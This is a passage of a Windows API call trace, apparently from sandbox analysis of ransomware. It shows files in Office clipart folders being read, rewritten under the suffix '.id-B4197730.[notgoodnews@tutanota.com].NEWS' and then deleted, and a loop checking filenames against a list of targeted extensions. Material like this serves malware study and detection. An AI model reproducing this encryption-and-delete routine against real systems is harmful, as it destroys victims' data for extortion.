office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.030] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2488) returned 1 [0082.030] CloseHandle (hObject=0x33c) returned 1 [0082.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0082.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.030] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.030] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0082.031] GetLastError () returned 0x0 [0082.031] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0082.032] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0082.033] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.033] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.033] SetEndOfFile (hFile=0x330) returned 1 [0082.033] CloseHandle (hObject=0x330) returned 1 [0082.034] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.034] SetEndOfFile (hFile=0x33c) returned 1 [0082.035] CloseHandle (hObject=0x33c) returned 1 [0082.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0082.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.463] lstrlenW (lpString=".doc") returned 4 [0082.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.463] lstrlenW (lpString=".docx") returned 5 [0082.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.463] lstrlenW (lpString=".pdf") returned 4 [0082.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.463] lstrlenW (lpString=".xls") returned 4 [0082.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.463] lstrlenW (lpString=".xlsx") returned 5 [0082.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.463] lstrlenW (lpString=".ppt") returned 4 [0082.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".zip") returned 4 [0082.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.464] lstrlenW (lpString=".rar") returned 4 [0082.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString=".bz2") returned 4 [0082.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString=".7z") returned 3 [0082.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".dbf") returned 4 [0082.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".1cd") returned 4 [0082.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".jpg") returned 4 [0082.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".doc") returned 4 [0082.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString=".docx") returned 5 [0082.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.464] lstrlenW (lpString=".pdf") returned 4 [0082.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString=".xls") returned 4 [0082.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.464] lstrlenW (lpString=".xlsx") returned 5 [0082.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.464] lstrlenW (lpString=".ppt") returned 4 [0082.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.464] lstrlenW (lpString=".zip") returned 4 [0082.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.464] lstrlenW (lpString=".rar") returned 4 [0082.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.465] lstrlenW (lpString=".bz2") returned 4 [0082.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.465] lstrlenW (lpString=".7z") returned 3 [0082.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.465] lstrlenW (lpString=".dbf") returned 4 [0082.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.465] lstrlenW (lpString=".1cd") returned 4 [0082.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0082.465] lstrlenW (lpString=".jpg") returned 4 [0082.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.523] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.523] lstrlenW (lpString="BS01080_.WMF") returned 12 [0082.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.523] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2732) returned 1 [0082.523] CloseHandle (hObject=0x398) returned 1 [0082.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0082.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.524] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.524] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.524] GetLastError () returned 0x0 [0082.524] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xaac, lpOverlapped=0x0) returned 1 [0082.525] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xab0, lpOverlapped=0x0) returned 1 [0082.526] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.526] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.527] SetEndOfFile (hFile=0x348) returned 1 [0082.527] CloseHandle (hObject=0x348) returned 1 [0082.528] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.528] SetEndOfFile (hFile=0x398) returned 1 [0082.528] CloseHandle (hObject=0x398) returned 1 [0082.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0082.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.529] lstrlenW (lpString=".doc") returned 4 [0082.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.529] lstrlenW (lpString=".docx") returned 5 [0082.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.529] lstrlenW (lpString=".pdf") returned 4 [0082.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.529] lstrlenW (lpString=".xls") returned 4 [0082.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.529] lstrlenW (lpString=".xlsx") returned 5 [0082.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.529] lstrlenW (lpString=".ppt") returned 4 [0082.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.529] lstrlenW (lpString=".zip") returned 4 [0082.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.530] lstrlenW (lpString=".rar") returned 4 [0082.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString=".bz2") returned 4 [0082.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString=".7z") returned 3 [0082.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString=".dbf") returned 4 [0082.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString=".1cd") returned 4 [0082.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString=".jpg") returned 4 [0082.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString=".doc") returned 4 [0082.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString=".docx") returned 5 [0082.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.530] lstrlenW (lpString=".pdf") returned 4 [0082.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString=".xls") returned 4 [0082.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.530] lstrlenW (lpString=".xlsx") returned 5 [0082.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.530] lstrlenW (lpString=".ppt") returned 4 [0082.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.530] lstrlenW (lpString=".zip") returned 4 [0082.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.530] lstrlenW (lpString=".rar") returned 4 [0082.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.530] lstrlenW (lpString=".bz2") returned 4 [0082.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.531] lstrlenW (lpString=".7z") returned 3 [0082.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.531] lstrlenW (lpString=".dbf") returned 4 [0082.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.531] lstrlenW (lpString=".1cd") returned 4 [0082.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0082.531] lstrlenW (lpString=".jpg") returned 4 [0082.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.531] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.531] lstrlenW (lpString="BS01603_.WMF") returned 12 [0082.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.532] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=7176) returned 1 [0082.532] CloseHandle (hObject=0x398) returned 1 [0082.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0082.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.532] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.532] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.533] GetLastError () returned 0x0 [0082.533] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0082.534] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0082.535] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.535] WriteFile (in: hFile=0x348, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.535] SetEndOfFile (hFile=0x348) returned 1 [0082.536] CloseHandle (hObject=0x348) returned 1 [0082.537] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.537] SetEndOfFile (hFile=0x398) returned 1 [0082.537] CloseHandle (hObject=0x398) returned 1 [0082.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0082.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.538] lstrlenW (lpString=".doc") returned 4 [0082.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.538] lstrlenW (lpString=".docx") returned 5 [0082.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.538] lstrlenW (lpString=".pdf") returned 4 [0082.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.538] lstrlenW (lpString=".xls") returned 4 [0082.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.538] lstrlenW (lpString=".xlsx") returned 5 [0082.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.538] lstrlenW (lpString=".ppt") returned 4 [0082.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.538] lstrlenW (lpString=".zip") returned 4 [0082.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.539] lstrlenW (lpString=".rar") returned 4 [0082.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString=".bz2") returned 4 [0082.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString=".7z") returned 3 [0082.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString=".dbf") returned 4 [0082.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString=".1cd") returned 4 [0082.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString=".jpg") returned 4 [0082.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString=".doc") returned 4 [0082.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString=".docx") returned 5 [0082.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.539] lstrlenW (lpString=".pdf") returned 4 [0082.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString=".xls") returned 4 [0082.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.539] lstrlenW (lpString=".xlsx") returned 5 [0082.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.539] lstrlenW (lpString=".ppt") returned 4 [0082.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.539] lstrlenW (lpString=".zip") returned 4 [0082.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.539] lstrlenW (lpString=".rar") returned 4 [0082.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.539] lstrlenW (lpString=".bz2") returned 4 [0082.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.540] lstrlenW (lpString=".7z") returned 3 [0082.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.540] lstrlenW (lpString=".dbf") returned 4 [0082.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.540] lstrlenW (lpString=".1cd") returned 4 [0082.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0082.540] lstrlenW (lpString=".jpg") returned 4 [0082.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.540] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.540] lstrlenW (lpString="BS01634_.WMF") returned 12 [0082.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.540] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3494) returned 1 [0082.540] CloseHandle (hObject=0x398) returned 1 [0082.541] 